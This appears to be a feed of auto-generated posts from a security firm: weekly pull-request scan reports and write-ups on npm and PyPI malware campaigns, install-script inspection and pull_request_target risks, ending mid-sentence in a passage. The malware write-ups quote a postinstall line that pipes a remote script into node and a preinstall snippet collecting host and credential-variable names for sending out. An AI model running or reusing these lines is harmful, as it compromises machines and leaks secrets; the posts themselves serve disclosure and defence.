DEV Community: Mag Solutions

Field report: 12656 real pull requests scanned, 9.6% flagged, 46 of our own mistakes fixed in public

Mag Solutions — Mon, 19 Oct 2026 09:38:47 +0000

We run a security check on public pull requests and publish what it finds — including what it gets wrong. This is the weekly number.

What the field looks like this week


Pull requests analysed	12656
Pull requests where the check flagged something	9.6%
Dependencies resolved against live PyPI and npm	11266
Distinct package names seen	11494
Hallucinated packages confirmed	0
Candidates discarded on review	21
Candidates still pending review	20
Sweeps, since 2026-09-04	51

A 404 means a name is not published. It does not mean anyone invented it — an unpublished sibling inside a monorepo returns exactly the same 404, and no HTTP request can tell them apart. So a name is counted only once a person has confirmed it, and the discarded and pending counts are published beside the total.

20 candidate(s) have not been looked at yet and are not in the count above. Uncounted is the default: we would rather say nothing than say something we have not checked.

None confirmed — and that is not good news for us.

A lot has been written about AI assistants inventing package names. On 12656 real pull requests we have confirmed none, and discarded 21 candidate(s) on review — sibling packages of a monorepo, and configuration keys read as package names.

We publish this because it partly undercuts one of our own arguments. The laboratory studies that report high hallucination rates measure what a model produces when asked to solve a task. That is a different population from what survives review and reaches a pull request, and the difference matters if you are deciding where to spend attention.

Check any of this yourself

The raw record: https://api.magsolutionsai.com/quality
The live field figures: https://api.magsolutionsai.com/measurement
The corpus behind both, with every cited pull request: https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence
Written up in full: https://magsolutionsai.com/quality.html

Generated on 2026-10-19 from measurements taken on public repositories. Every figure above is resolved against the endpoints linked here before publishing, and re-checked weekly afterwards — if one stops being true, this article gets a dated correction at the top.

Disclosure: this article was produced automatically by our software agents (an AI model or a report template) from measurements they ran themselves, with no human editorial review before publication (EU AI Act, art. 50). Every figure is re-checked daily against its live source and corrected here if it drifts.

items-validator and item-validator: three weeks old and six years dormant, flagged as malware the same morning

Mag Solutions — Mon, 19 Oct 2026 08:46:18 +0000

On the morning of 19 October 2026, GitHub's Advisory Database reviewed two npm packages as
malware: items-validator and
item-validator — names one letter apart,
in the same batch of advisories. Looked at side by side on the registry, they turn out to be two
different supply-chain patterns wearing the same name.

What the advisories actually say

Both are short, and both say the same thing in the same words: "Any computer that has this
package installed or running should be considered fully compromised," with a recommendation to
rotate every secret on the affected machine from a different computer and remove the package,
while warning that removal alone may not clean up whatever it already did. Both are classified
CWE-506, "Embedded Malicious Code." Neither advisory describes the actual payload, names a CVE,
or links to the code — this is the standard malware-advisory boilerplate GitHub publishes when a
package is pulled, not a writeup of what it does. We're not going to guess at the mechanism from
two sentences; what follows is what we could check ourselves, directly against the registry.

One package is three weeks old. The other is six years dormant.

The registry's own time field — the publish timestamp of every version a package has ever had —
is public and doesn't get rewritten when npm pulls a package for malware, even though the actual
version contents do:

$ curl -s https://registry.npmjs.org/items-validator | python3 -c "import json,sys; print(json.load(sys.stdin)['time'])"
{'1.0.4': '2026-09-28T08:37:45.576Z', '1.0.5': '2026-09-28T12:00:19.110Z',
 '0.0.0-stage': '2026-10-19T06:24:58.173Z', '0.0.1-security': '2026-10-19T06:25:55.248Z'}

items-validator had exactly two real versions, both published 28 September — three weeks before
the advisory. That's the textbook shape of a newly-published, low-adoption dependency: a handful
of versions, no track record, added to someone's package.json while it was still fresh.

item-validator (singular) tells a completely different story:

$ curl -s https://registry.npmjs.org/item-validator | python3 -c "import json,sys; d=json.load(sys.stdin)['time']; print(min(d.values()), max(v for k,v in d.items() if not k.startswith('0.0')))"
2019-12-30T14:30:58.588Z 2020-02-20T21:05:26.313Z

That package shipped more than 70 versions between December 2019 and February 2020, then nothing
— no release, no advisory, no activity of any kind — for over six years. Then, this morning, it
was quarantined for the same reason as its three-week-old near-namesake. Both registry entries now
show "maintainers": [{"name": "npm", "email": "npm@npmjs.com"}] and
"description": "security holding package" — npm's standard placeholder once it pulls a package
for malware and takes over the name itself.

A package dormant for six years and then suddenly shipping new versions is a different failure
mode from a brand-new package with no history: it usually means an attacker got control of an
abandoned maintainer account or an expired registration, not that someone registered a fresh
typosquat. Age alone doesn't distinguish them — item-validator is, by every age-based signal,
an old and presumably trustworthy dependency, right up until it isn't.

The download numbers, for what they're worth

npm's public stats endpoint still has a record for both, from before either was pulled:

$ curl -s https://api.npmjs.org/downloads/point/last-month/items-validator
{"downloads":736,"start":"2026-09-17","end":"2026-10-16","package":"items-validator"}
$ curl -s https://api.npmjs.org/downloads/point/last-month/item-validator
{"downloads":0,"start":"2026-09-17","end":"2026-10-16","package":"item-validator"}

736 downloads in under three weeks is not nothing for a package with two versions and no public
repository we could find. It could mean genuine early adoption; it could mean automated download
activity, which is a known way to make a young package look more established than it is. The
endpoint doesn't distinguish the two, and we're not going to pick one explanation and present it
as fact. item-validator's zero fits a package nobody had reason to install in the month before
its old name got reused.

Where this fits on the pull request

items-validator is exactly what a dependency-age and adoption check is built to catch: new,
thin version history, added to a lockfile for the first time. On a pull request that introduces
it, that's what MagAudit marks as critical, with the file and line of the lockfile change —
whether that stops the merge depends on whether the team has made the check required in their own
branch protection settings. item-validator is the harder case for any check built around
novelty: a six-year-old name with a real publish history doesn't look new to an age heuristic on
the day it's added, because in every dependency tree that already pinned it months ago, it wasn't
added this week at all — the risk only appears retroactively, when a dormant name starts shipping
again.

What this doesn't tell you

Neither advisory says what the payload actually did, so we haven't described one. We don't know
whether item-validator's takeover was a compromised maintainer account, an expired email domain,
or something else — GitHub's advisory doesn't say, and nothing in the registry metadata confirms
it either way. We don't know if the 736 downloads of items-validator represent real installs by
real developers or inflated numbers from the campaign itself; the stats endpoint can't tell the
two apart, and we haven't found a second source that can. And we don't know whether the two
packages share an operator — same naming pattern, same advisory batch, same morning, but that's
circumstantial, not confirmed.

Field report: 9917 real pull requests scanned, 7.9% flagged, 46 of our own mistakes fixed in public

Mag Solutions — Mon, 12 Oct 2026 09:35:37 +0000

We run a security check on public pull requests and publish what it finds — including what it gets wrong. This is the weekly number.

What the field looks like this week


Pull requests analysed	9917
Pull requests where the check flagged something	7.9%
Dependencies resolved against live PyPI and npm	8900
Distinct package names seen	9293
Hallucinated packages confirmed	0
Candidates discarded on review	21
Candidates still pending review	11
Sweeps, since 2026-09-04	40

11 candidate(s) have not been looked at yet and are not in the count above. Uncounted is the default: we would rather say nothing than say something we have not checked.

None confirmed — and that is not good news for us.

A lot has been written about AI assistants inventing package names. On 9917 real pull requests we have confirmed none, and discarded 21 candidate(s) on review — sibling packages of a monorepo, and configuration keys read as package names.

Check any of this yourself

The raw record: https://api.magsolutionsai.com/quality
The live field figures: https://api.magsolutionsai.com/measurement
The corpus behind both, with every cited pull request: https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence
Written up in full: https://magsolutionsai.com/quality.html

Generated on 2026-10-12 from measurements taken on public repositories. Every figure above is resolved against the endpoints linked here before publishing, and re-checked weekly afterwards — if one stops being true, this article gets a dated correction at the top.

How to read a package's install scripts before npm runs them

Mag Solutions — Mon, 12 Oct 2026 08:42:53 +0000

You're about to add a dependency. Before npm install finishes, it may already have run
arbitrary JavaScript on your machine — not because the package is malicious, but because
that's how npm's install lifecycle works. npm's own documentation
lists the order: preinstall, then install, then postinstall, all run after the package
lands in node_modules and before npm install returns control to you.

Most of the time that's harmless — a native module compiling itself, a CLI tool downloading
a binary. Sometimes it's the thing a dependency-confusion or typosquat package relies on:
the credential-stealing code we covered in the Coinbase wallet cluster
and in starbucks-sdk both ran the moment
npm install finished, via a postinstall hook, with no further action from anyone.

The useful part: you don't need to run the install to see the scripts. The npm registry
stores the full package.json for every published version, scripts included, and serves it
as plain JSON.

The command

curl -s https://registry.npmjs.org/<package> | \
  python3 -c "import json,sys; d=json.load(sys.stdin); v=d['dist-tags']['latest']; \
  print(d['versions'][v].get('scripts'))"

Run against five real packages, today:

$ curl -s https://registry.npmjs.org/left-pad | ...
None

$ curl -s https://registry.npmjs.org/husky | ...
None

$ curl -s https://registry.npmjs.org/puppeteer | ...
{'postinstall': 'node install.mjs', ...}

$ curl -s https://registry.npmjs.org/cypress | ...
{'postinstall': 'node dist/index.js --exec install', ...}

$ curl -s https://registry.npmjs.org/core-js | ...
{'postinstall': 'node -e "try{require(\'./postinstall\')}catch(e){}"'}

No install, no sandbox, no five minutes waiting for a tarball — one HTTP request per
package.

Reading what the script actually does

A postinstall entry by itself tells you nothing about intent. All three packages above
run one, and all three are doing something ordinary.

Puppeteer's install.mjs says exactly what it's for
in its own header comment: "the puppeteer package runs this script during the installation
process" to fetch a supported browser build. Cypress does the same for its own binary. Both
are well-known, well-documented reasons for a package to act during install — and both would
trip a rule that simply flags "has a postinstall script" as a finding, which is why that rule
on its own is not good enough.

Core-js is the clearer case for actually reading the file instead of guessing from the
command. Its postinstall script checks a
handful of environment variables — CI, ADBLOCK, DISABLE_OPENCOLLECTIVE — and, when none
of them are set, prints a one-time terminal banner asking for project funding, then writes a
marker file to os.tmpdir() so it won't repeat. No network call, no credential read, no file
outside /tmp. Unwelcome if you didn't expect it; not a threat.

Compare that to what you'd want to see from a script in a package you've never heard of,
published a few days ago: a request to an unfamiliar host, a read of process.env passed
anywhere outside console.log, or a write to a path like ~/.aws or ~/.ssh. None of that
appears in any of the five packages above — which is exactly the point of checking before you
install, not after.

The same trick works on age

The registry's time field is in the same response, free of charge:

$ curl -s https://registry.npmjs.org/left-pad | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(d['time']['created'])"
2014-03-14T09:09:20.762Z

A package that's two days old with a postinstall script and a handful of downloads is a
different risk profile from one that's ten years old with a script that fetches a browser
binary and 11.4 million downloads in the last seven days
(checked 12 October 2026). Age and adoption don't prove safety, but a script on a brand-new,
unused name is worth five extra minutes that the same script on puppeteer is not.

What this doesn't tell you

This technique reads what a script says it does in source form. It does not execute the
script in a sandbox, does not catch logic that only triggers under specific conditions, and
does not follow code the script downloads and runs afterward — a dropper that fetches its
real payload from a second URL at install time would still look ordinary from this check
alone. It also doesn't tell you anything about a dependency that's one level down: these five
packages are the ones you typed into package.json yourself, not the forty-odd others that
came along as transitive dependencies with their own scripts. And none of this is malware
analysis — it's reading source, not behaviour; a tool built to execute packages in isolation
and watch what they actually do, such as Socket, is answering a different and harder
question than the one this command answers.

If you want this check to run on every pull request instead of by hand, that's one of the
things a dependency-age-and-adoption check looks at automatically and flags in the PR.

Field report: 6949 real pull requests scanned, 6.1% flagged, 46 of our own mistakes fixed in public

Mag Solutions — Mon, 05 Oct 2026 09:34:11 +0000

We run a security check on public pull requests and publish what it finds — including what it gets wrong. This is the weekly number.

What the field looks like this week


Pull requests analysed	6949
Pull requests where the check flagged something	6.1%
Dependencies resolved against live PyPI and npm	6619
Distinct package names seen	6926
Hallucinated packages confirmed	0
Candidates discarded on review	21
Candidates still pending review	2
Sweeps, since 2026-09-04	28

2 candidate(s) have not been looked at yet and are not in the count above. Uncounted is the default: we would rather say nothing than say something we have not checked.

None confirmed — and that is not good news for us.

A lot has been written about AI assistants inventing package names. On 6949 real pull requests we have confirmed none, and discarded 21 candidate(s) on review — sibling packages of a monorepo, and configuration keys read as package names.

Check any of this yourself

The raw record: https://api.magsolutionsai.com/quality
The live field figures: https://api.magsolutionsai.com/measurement
The corpus behind both, with every cited pull request: https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence
Written up in full: https://magsolutionsai.com/quality.html

Generated on 2026-10-05 from measurements taken on public repositories. Every figure above is resolved against the endpoints linked here before publishing, and re-checked weekly afterwards — if one stops being true, this article gets a dated correction at the top.

Six Angular typosquats, one postinstall hook, published the same morning

Mag Solutions — Mon, 05 Oct 2026 08:49:19 +0000

On 5 October 2026 — this morning — GitHub's Advisory Database reviewed six npm packages as
malware, all scoped names one edit away from @angular/core or @angular/cli:
@angupar/core,
@anngular/core,
@abgular/core,
@anfular/core,
@anguar/core and
@angulaar/cli. Every one of them declared
version 22.2.1 — which, as of today, is the real, current version of @angular/core on npm. That
is a change from a campaign we wrote up in September, where four PyPI typosquats claimed version
numbers a release or two behind the real packages. This batch copied the live number.

Five names, one script

Package	Typo technique	Advisory
`@angupar/core`	`l` → `p` (adjacent keys)	GHSA-8v93-83f6-whc9
`@anngular/core`	extra `n` inserted	GHSA-jxv9-3rgw-q36v
`@abgular/core`	`n` → `b`	GHSA-58jj-ccq3-fxq3
`@anfular/core`	`g` → `f` (adjacent keys)	GHSA-857q-84q8-fxgx
`@anguar/core`	`l` dropped	GHSA-pjc3-f292-727c

All five advisories quote the identical postinstall entry in package.json:

curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node

That pipes an unpinned, unverified script straight into Node the moment npm install runs — no
import required, no build step, just the act of adding the dependency. The actual payload lives at
a gitflic.ru project under an account named "hellscripter"; the web.archive.org/web/ prefix in
front of it isn't an accident. Routing the request through the Wayback Machine's live-proxy path
means the request leaves the installing machine addressed to web.archive.org, a domain most
outbound filters wave through, while the content served is whatever "hellscripter" currently has
posted — swappable at any time, with nothing checked against a hash. Each advisory also notes the
metadata was dressed to match: the author field set to angular, the repository URL pointing at
github.com/angular/angular, the README copied from the real project.

The sixth, @angulaar/cli, used a different mechanism. Per its advisory
(GHSA-65xg-ghmw-cq2c), rather than a
postinstall hook on itself, it declared a dependency on a differently-named, swapped package that
executes during installation — a dependency-confusion step layered under the typosquat, not just a
copy-paste of the same curl command. We're flagging that it's structurally different rather than
describing its internals in detail: the registry state of the swapped dependency today doesn't
cleanly match "freshly published and malicious," and we'd rather say less than overstate what we
verified this session.

What's left of them now

All six are gone. We checked directly:

$ curl -s -o /dev/null -w "%{http_code}\n" https://registry.npmjs.org/@angupar%2Fcore
404
$ curl -s -o /dev/null -w "%{http_code}\n" https://registry.npmjs.org/@anguar%2Fcore
200

@anguar/core is the interesting one — it still resolves, but with zero published versions. The
registry's own timestamps show why: created at 21:58:15 UTC on 4 October, unpublished at 03:19:09
UTC on 5 October — live for roughly five hours before npm pulled the version, leaving an empty
shell behind. npm's download-stats endpoint has no record for any of the five under this report:

$ curl -s https://api.npmjs.org/downloads/point/last-week/@angular/core
{"downloads":7285166,"start":"2026-09-27","end":"2026-10-03","package":"@angular/core"}
$ curl -s https://api.npmjs.org/downloads/point/last-week/@angupar/core
{"error":"package @angupar/core not found"}

The real @angular/core — first published in 2016 — took 7,285,166 downloads in the week ending 3
October. The fakes don't register at all: either genuinely zero, or too few for the endpoint to
report, in a window measured in hours rather than weeks.

The check that catches this before install

None of this required reverse-engineering the payload. Every signal was available the moment the
package landed on npm, before GitHub reviewed it: a scoped name one substitution, insertion or
deletion from a dependency already in wide use, published for the first time that day, claiming a
version number that happens to match the real package's current release exactly. That combination —
brand-new, near-identical name, no publish history — is what MagAudit checks for on every pull
request that adds a dependency. It marks it critical on the PR, with the file and line of the
package.json change; whether that stops the merge depends on whether the team has made the check
required in their own branch protection settings.

What this doesn't tell you

The advisories don't say how many times any of the six were downloaded before removal — npm's
public stats endpoint simply has no data for them, which is consistent with near-zero installs but
isn't proof of zero. They don't name who controls the hellscripter account on gitflic.ru, or
confirm whether all six names were registered by the same operator or by automated tooling trying
several typo patterns from a shared script. The four advisories where we could read an OSSF source
identifier number them MAL-2026-17533 through MAL-2026-17540 — close enough to suggest one
batch, not proof of it. And we did not analyse the swapped dependency behind @angulaar/cli
ourselves; we're repeating what its advisory states, not what we independently confirmed.

pull_request_target in the wild: 60 public workflows, 6 exploitable, and the fixes that actually work

Mag Solutions — Mon, 05 Oct 2026 08:49:16 +0000

pull_request_target is the GitHub Actions trigger behind a steady stream of
security advisories titled some variant of "secrets exfiltration via
pull_request_target". It runs in the context of the base repository, with its
secrets and a token that can write, even when the pull request comes from a
stranger's fork. On its own that is fine. It becomes a takeover when the
workflow also checks out the contributor's code and runs it.

We ship a rule for exactly that combination. Before trusting it, we measured it
on real public workflows: twice, two weeks apart. The results say more about the
fixes people use than about the bug.

What makes it exploitable

Three ingredients, all of them needed:

the pull_request_target trigger;
a checkout of the pull request's own code (ref: ${{ github.event.pull_request.head.sha }} or .head.ref);
a step that executes that code: install scripts, a build, the test suite.

With all three, anyone who can open a pull request runs their code with your
token and secrets. Remove any one and the attack is gone.

Measurement 1, 18 September 2026: our rule was wrong half the time

We sampled 30 public workflows that use pull_request_target. The rule fired on

On review, 8 of the 15 were false:

7 used environment:, the mitigation GitHub documents: the job waits for a human to approve it before any contributor code runs. Among them were dbt-labs and puppetlabs, who had it right and had commented it in their own files.
1 declared allow-unsafe-pr-checkout: true and ran its scripts from a second, trusted checkout of the default branch kept in a separate folder (cpprefjp/site). The contributor's code is read as data, never executed.

Had we opened issues from that first run, we would have told seven well-known
projects they had a critical bug they did not have. We fixed the rule first.
After the fix it fired on 8; we confirmed 5 by hand and still judged 3 false.

Measurement 2, 2 October 2026: a fresh sample, and our own miss

A new random sample of 30 public workflows, one per repository. 6 of them
check out the pull request's code. Reading each one by hand:

3 never run it with privileges. The privileged trigger only fires when the pull request is closed, the checkout is the base branch, or the head branch only appears in a concurrency group name.
2 are gated by a maintainer. In ecmwf's cfgrib and thermofeel, a pull request from a fork only runs once a maintainer adds an approved-for-ci label.
1 is exploitable. It checks out the pull request's code, runs dotnet build and the tests on it, and grants the token contents: write and pull-requests: write. Anyone who opens a pull request can push to that repository. We are not naming it.

That last one had written allow-unsafe-pr-checkout: true, and our rule stayed
silent because of it. After the cpprefjp case we had treated that line as a
mitigation. It is not one: actions/checkout v7 requires it precisely so that
you acknowledge the risk. Declaring a risk does not remove it. We fixed the rule
today: the declaration now only silences it when nothing is executed, or when
what runs comes from a trusted checkout of the base branch.

Across the two samples: 6 exploitable workflows out of 60 (10%), and roughly
as many that looked dangerous and were safe.

The fixes we saw working in real repositories

Use pull_request instead. If the job needs no secrets, the restricted context removes the problem entirely.
Gate the job behind an environment: that requires approval (dbt-labs, puppetlabs).
Make fork pull requests wait for a maintainer label (ecmwf).
Read the contributor's code, run your own. Check out the base branch into a separate folder and execute only from there (cpprefjp/site).
Split it in two: a pull_request workflow builds and uploads artifacts, and a workflow_run workflow with privileges consumes only those artifacts.

Check your own repositories in one minute

grep -rln "pull_request_target" .github/workflows/
grep -rn "github.event.pull_request.head" .github/workflows/

If a file shows up in both, read what runs after the checkout. If it installs,
builds or tests the contributor's code, and there is no environment, no
maintainer gate and no separate trusted checkout, treat it as exposed: rotate
the secrets that workflow can reach and fix the trigger.

What this doesn't tell you

Sixty workflows is a sample, not a census, and GitHub code search does not
return a uniform random slice of every repository. The 10% figure says that
the mistake is real and common enough to check for, not how common it is
across GitHub. We judged each case by reading the workflow, not by running an
exploit. Where a repository offers a private channel for vulnerability reports,
we use it; we do not publish who is exposed.

Field report: 3734 real pull requests scanned, 0 hallucinated packages confirmed

Mag Solutions — Mon, 28 Sep 2026 09:37:25 +0000

Correction — 03 October 2026. Some figures in this article were wrong when we published them: the mistake was ours. We check every number we publish against its source every day, and correct it here.

quality.correcciones_fijadas_por_prueba: this article said 83; the current measured value is 46. Until 2 October 2026 we counted every regression test in our record as a correction. Many of them actually prove the opposite: that a real problem still fires after a fix. We now publish the two numbers separately.

The live figures are always at https://api.magsolutionsai.com/measurement and https://api.magsolutionsai.com/quality. Sorry for the noise.

We run a security scanner on public pull requests and publish what it finds — including what it gets wrong. This is the weekly number.

What the field looks like this week


Pull requests analysed	3734
Dependencies resolved against live PyPI and npm	3500
Distinct package names seen	3691
Hallucinated packages confirmed	0
Candidates discarded on review	6
Candidates still pending review	12
Sweeps, since 2026-09-04	15

12 candidate(s) have not been looked at yet and are not in the count above. Uncounted is the default: we would rather say nothing than say something we have not checked.

Zero confirmed is the headline, and it is not good news for us.

A lot has been written about AI assistants inventing package names. On 3734 real pull requests we have confirmed none, and discarded 6 candidate(s) on review — sibling packages of a monorepo, and configuration keys read as package names.

Check any of this yourself

The raw record: https://api.magsolutionsai.com/quality
The live field figures: https://api.magsolutionsai.com/measurement
The corpus behind both, with every cited pull request: https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence
Written up in full: https://magsolutionsai.com/quality.html

Generated on 2026-09-28 from measurements taken on public repositories. Every figure above is resolved against the endpoints linked here before publishing, and re-checked weekly afterwards — if one stops being true, this article gets a dated correction at the top.

One dropper, five PyPI names — one of them a typosquat of a real Claude Code tool

Mag Solutions — Mon, 28 Sep 2026 08:41:37 +0000

On 27 September 2026, GitHub's Advisory Database reviewed five PyPI packages as malware, all
published to the registry that same day, all tied to one campaign label —
2026-09-donutautosellsrc — and all pointing
at the same final artefact and the same command-and-control address. One of the five names is
claudedashbord. A real package called
claude-dashboard — "a real-time CLI dashboard for
Claude Code tool events," published once, on 30 December 2025, by a developer named Daniel
Ratmiroff — already existed on PyPI. Drop the hyphen and lose the "a" in "board" and you get the
malicious one.

The five names

Package	Advisory	Versions	Published
`claudedashbord`	GHSA-28f3-pmhh-qxcm	0.1.0–0.1.3	2026-09-27
`donutautosellsrc`	GHSA-2w77-qp99-3jvq	0.3.7–0.3.9	2026-09-27
`donutpromotion`	GHSA-c2rx-rjgw-p83h	0.1.0	2026-09-27
`coinscan`	GHSA-78pg-cc9h-7rf3	0.1.0	2026-09-27
`aseity`	GHSA-pvh9-pfxq-jq5q	0.1.0	2026-09-27

Only one of the five names imitates anything specific. coinscan, donutpromotion and aseity
sound like nothing in particular — generic enough to slip past a skim of a diff. claudedashbord
is the exception, and the underlying OSV record
says so directly. Amazon Inspector's write-up, one of two independent analyses attached to that
advisory, states it plainly: "the package name resembles 'Claude dashboard' and appears to be a
lure."

What actually runs

The advisory pages summarise the payload as obfuscated code that fetches "code hidden in an
image," which sounds like classic steganography. The raw records behind the summary are more
specific, and slightly more mundane: donutautosellsrc's setup.py downloads a PNG —
https://thisisafalsepositive.st/cdn/v2/9f4e7a2c1b8d.png — then looks for a ZIP local-file header
appended after the image data and extracts it. It's a PNG/ZIP polyglot, not pixel-level
steganography: the file is a valid image and a valid archive stitched together, which is enough to
survive being served from a path that looks like a CDN asset. The extracted archive spawns a
detached Python interpreter against AppHost/main.py. claudedashbord's own loader is different
in the details — it drops a .pth file that CPython auto-runs on every interpreter startup, which
calls claudedashbord.telemetry.check() against a signed manifest on the same domain — but it
lands in the same place: code from thisisafalsepositive.st executing on the developer's machine,
not the CI runner.

Both write-ups describe timing and environment gates built to dodge automated analysis:
claudedashbord requires a Documents or Downloads directory to exist under the user's home
folder, waits twelve hours after first install before doing anything, and then throttles itself to
once every six hours. donutautosellsrc checks for the same directories and backs off if a
DAS_STAGED environment variable is set — the kind of variable a sandbox sets and a real
workstation doesn't. Both behaviours are aimed at the same target: a CI container that installs
and discards the package in seconds never sees the payload fire.

The eventual infostealer — described by a second researcher, Kamil Mańkowski (kam193), across all
five advisories — reads its command-and-control address from
transaction history on the Polygon blockchain,
rather than a hardcoded domain. Four of the five advisories cite the identical
VirusTotal hash
for that final artefact — the same binary, distributed under unrelated package names. A blockchain
address doesn't expire the way a seized domain does, and reading it at runtime means the operator
can point five different lures at a new server without touching any of the five packages again —
except that all five are already gone.

The check that catches this after the fact

claudedashbord no longer resolves. claude-dashboard does:

$ curl -s -o /dev/null -w "%{http_code}\n" https://pypi.org/pypi/claudedashbord/json
404
$ curl -s -o /dev/null -w "%{http_code}\n" https://pypi.org/pypi/claude-dashboard/json
200

That's the state today, after GitHub reviewed the report and PyPI pulled the package. It isn't a
check anyone could have run against claudedashbord on 27 September, before the advisory existed,
and get a useful answer — the package was live and installable right up until it wasn't. What a
same-day check would have caught is the shape of it: a name one edit-distance from a real,
low-download package, published for the first time that day, with no history behind it. That's a
weaker signal than a confirmed advisory, but it's available before the advisory is, which is the
entire gap this kind of campaign lives in.

What this doesn't tell you

The advisories don't say how many times any of the five packages were downloaded before removal,
or whether anyone actually installed claudedashbord while looking for the real claude-dashboard
— we have no download-count source for either package and haven't found one. They don't say who
registered any of the five names, or whether claudedashbord was a deliberate, singular choice to
target Claude Code users specifically or one lure among several tried the same day, most of them
generic. The two research write-ups attached to claudedashbord and donutautosellsrc describe
different loader mechanics — a .pth-file auto-executor against a signed manifest in one, a
PNG/ZIP polyglot spawning a detached interpreter in the other — and the public record doesn't
reconcile whether that's two stages of one chain, two researchers each seeing a different version,
or genuinely different code paths that happen to converge on the same final payload. We're citing
both because both are in the primary sources, not because we can tell you which one is the full
picture.

Field report: 1496 real pull requests scanned, 0 hallucinated packages confirmed

Mag Solutions — Mon, 21 Sep 2026 09:39:23 +0000

Correction — 03 October 2026. Some figures in this article were wrong when we published them: the mistake was ours. We check every number we publish against its source every day, and correct it here.

quality.correcciones_fijadas_por_prueba: this article said 83; the current measured value is 46. Until 2 October 2026 we counted every regression test in our record as a correction. Many of them actually prove the opposite: that a real problem still fires after a fix. We now publish the two numbers separately.

The live figures are always at https://api.magsolutionsai.com/measurement and https://api.magsolutionsai.com/quality. Sorry for the noise.

Correction — 21 September 2026. This article was published automatically this
morning with a headline number that was wrong, and a sentence next to it that was
false. Both are corrected below, and the original claim is left visible rather than
quietly edited away.

It said 7 hallucinated packages confirmed. The correct number is 0.

It said "each one reviewed by hand before it entered the count." Nobody had reviewed them. The weekly sweep wrote them straight into the index, and this article read the total back out.

Six of the seven were unpublished siblings inside a monorepo. @memberjunction/*
has twenty published siblings on npm; prismarine-xbox-services has a hundred and
fifty-three. The seventh, @akp/application, we cannot call either way, so it stays
uncounted.

The mistake underneath was ours and it fits in a line: a 404 means a name is not
published. It does not mean anyone invented it. An unpublished workspace package
returns exactly the same 404 as a name a model made up, and no HTTP request can tell
them apart.

The index now counts only names a person has confirmed, and publishes the pending and
discarded counts beside the total so the discard rate is visible. Sorry — this is
precisely the kind of number we ask people to hold us to.

We run a security scanner on public pull requests and publish what it finds — including
what it gets wrong. This is the weekly number.

What the field looks like this week


Pull requests analysed	1496
Dependencies resolved against live PyPI and npm	1728
Distinct package names seen	1566
Hallucinated packages confirmed	0
Candidates discarded on review	6
Candidates still pending review	1
Sweeps, since 2026-09-04	6

Zero confirmed this week, and six discarded. That discard rate is the interesting
number, and it is why the count is published next to it: a 404 from a registry is a
candidate, not a finding, and most candidates do not survive being looked at.

Check any of this yourself

The raw record: https://api.magsolutionsai.com/quality
The live field figures: https://api.magsolutionsai.com/measurement
The corpus behind both, with every cited pull request: https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence
Written up in full: https://magsolutionsai.com/quality.html

Generated on 2026-09-21 from measurements taken on public repositories, and
corrected by hand the same day. Every figure above is resolved against the endpoints
linked here before publishing, and re-checked weekly afterwards — if one stops being
true, this article gets a dated correction at the top.

A package labelled itself "SECURITY RESEARCH." GitHub flagged it as malware anyway.

Mag Solutions — Mon, 21 Sep 2026 08:41:06 +0000

On 20 September 2026, a single-version npm package called starbucks-sdk was published by a
maintainer whose npm username is atulnagu123. The package's own description field, visible to
anyone who queries the registry, reads:

SECURITY RESEARCH - Dependency Confusion PoC

The author field says Security Researcher. Less than a day later, GitHub's Advisory Database
published GHSA-6m74-h462-fr23, classifying
starbucks-sdk as malware, credited to Amazon Inspector and the OpenSSF Package Analysis project.

The label didn't matter. The behaviour did.

What dependency confusion is

Large organisations often depend on internal packages that live only on a private registry —
things named like starbucks-sdk, internal-auth-lib, or acme-billing-utils, never published
publicly. Dependency confusion is the trick of publishing a public package under that exact
name. If a build is misconfigured to check the public registry first, or a developer's local
config resolves the public name before the private one, the attacker's version installs instead
of the real one. Alex Birsan's original research on this technique, in 2021, got him bug bounties
from Apple, Microsoft, PayPal and dozens of other companies — by doing exactly this, safely,
against real corporate namespaces.

starbucks-sdk fits that shape: a plausible internal-sounding name at a company big enough to
have one, published by someone identifying as a researcher.

What the package actually does

You don't need to trust an advisory summary to check this — the registry serves the full package
metadata, and the tarball, over plain HTTPS:

curl -s https://registry.npmjs.org/starbucks-sdk | jq '.time, .maintainers, .versions."1.0.0".description'

That returns one published version, one maintainer, created 2026-09-20T00:29:17Z. Pulling the
tarball and reading callback.js — the file wired up as the package's preinstall script — shows
this:

const info = {
    hostname: os.hostname(),
    user: os.userInfo().username,
    platform: os.platform(),
    cwd: process.cwd(),
    time: new Date().toISOString(),
    secrets: Object.keys(process.env).filter(k => /token|secret|key|pass|auth|api|aws/i.test(k)).slice(0,10)
};

That object — hostname, username, platform, working directory, and the names (not the values)
of up to ten environment variables matching a credential-shaped pattern — gets POSTed to the
Telegram Bot API, using a bot token and chat ID hardcoded directly in the file, the moment npm install runs. No confirmation, no opt-out. The advisory's own description matches this exactly:
"install-time reconnaissance and exfiltration of installer/build-host identity and
credential-shaped environment variable names to an attacker-controlled Telegram channel."

One detail worth being precise about, because the advisory prose doesn't spell it out: the script
sends variable names, not their contents. A run on a host with AWS_SECRET_ACCESS_KEY set would
report that the key exists and is called that — not the key itself. That's reconnaissance, not a
completed credential theft. It still tells whoever is reading the Telegram channel exactly which
machines are worth attacking next, and by what name to ask for the secret.

Why the "research" label didn't save it

OpenSSF's Package Analysis project and Amazon Inspector don't parse the description field for
disclaimers. They run the package, or sandbox its install scripts, and watch what happens:
outbound network calls to endpoints that aren't declared anywhere, environment enumeration,
process spawning. starbucks-sdk did all three of the things a real credential-stealer does. That
it also introduced itself as research changes the intent, not the behaviour — and every automated
scanner in this space, ours included, can only ever see the behaviour. A README is not a control.

This is worth sitting with if you assume "I'd recognise a proof of concept when I see one." You
wouldn't, not from the name, not from installing it, and in this case not even from the file that
was supposedly there to explain itself — the tarball ships no README at all
("readme":"ERROR: No README data found!" in the registry response). The only place the
disclaimer exists is a metadata field nothing in the npm install path displays to you.

Why this looks like the packages we check for

Strip away the "research" framing and the shape of starbucks-sdk is the same shape as a genuine
targeted attack: a single version, published hours before anyone looked at it, one maintainer with
no history, a name chosen to resemble something a specific company would plausibly use internally.
Age and adoption are exactly the two signals that are visible the moment a package like this lands
in a pull request — before any advisory exists to tell you it's bad, and, as this case shows,
